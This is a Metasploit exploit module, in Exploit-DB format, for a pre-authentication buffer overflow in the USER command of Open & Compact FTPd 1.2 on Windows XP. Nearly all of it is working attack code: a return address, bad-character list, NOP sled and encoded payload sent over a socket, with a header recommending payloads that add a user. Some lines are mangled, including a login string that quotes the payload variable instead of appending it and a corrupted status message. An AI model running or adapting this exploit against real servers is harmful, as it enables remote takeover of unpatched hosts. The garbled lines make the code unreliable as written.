# Exploit Title: Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow MSF
# Date: March 14, 2010
# Author: Blake
# Version: 1.2
# Tested on: XP SP3
Exploit causes the ftp server to crash so adduser, etc. payloads are most effective.
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Open & Compact FTPd 1.2 Pre-Authentication Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in the USER verb in Open & Compact FTPd version 1.2. The program will crash once the payload is sent, so bind shell payloads are not effective.
},
'Author' => 'Blake',
'License' => MSF_LICENSE,
'Version' => 'Version 1',
'References' =>
[
[ 'EDB-ID', '11420'],
[ 'URL', 'http://www.exploit-db.com/exploits/11420' ],
],
'Privileged' => true,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 400,
'BadChars' => "\x00\x20\x0a\x0d",
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP2/SP3 English', { 'Ret' => 0x00202c42 } ],
],
'DisclosureDate' => 'Feb 12, 2010',
'DefaultTarget' => 0))
end
def exploit
connect
sploit = "\x42\x2c\x20" * 199
sploit << make_nops(10)
sploit << payload.encoded
print_status("Trying target {target.name<http://target.name>}...")
login = "USER + sploit + \r\n"
login << "PASS " + rand_text_alphanumeric(12)
sock.put(login + "\r\n")
handler
disconnect
end
end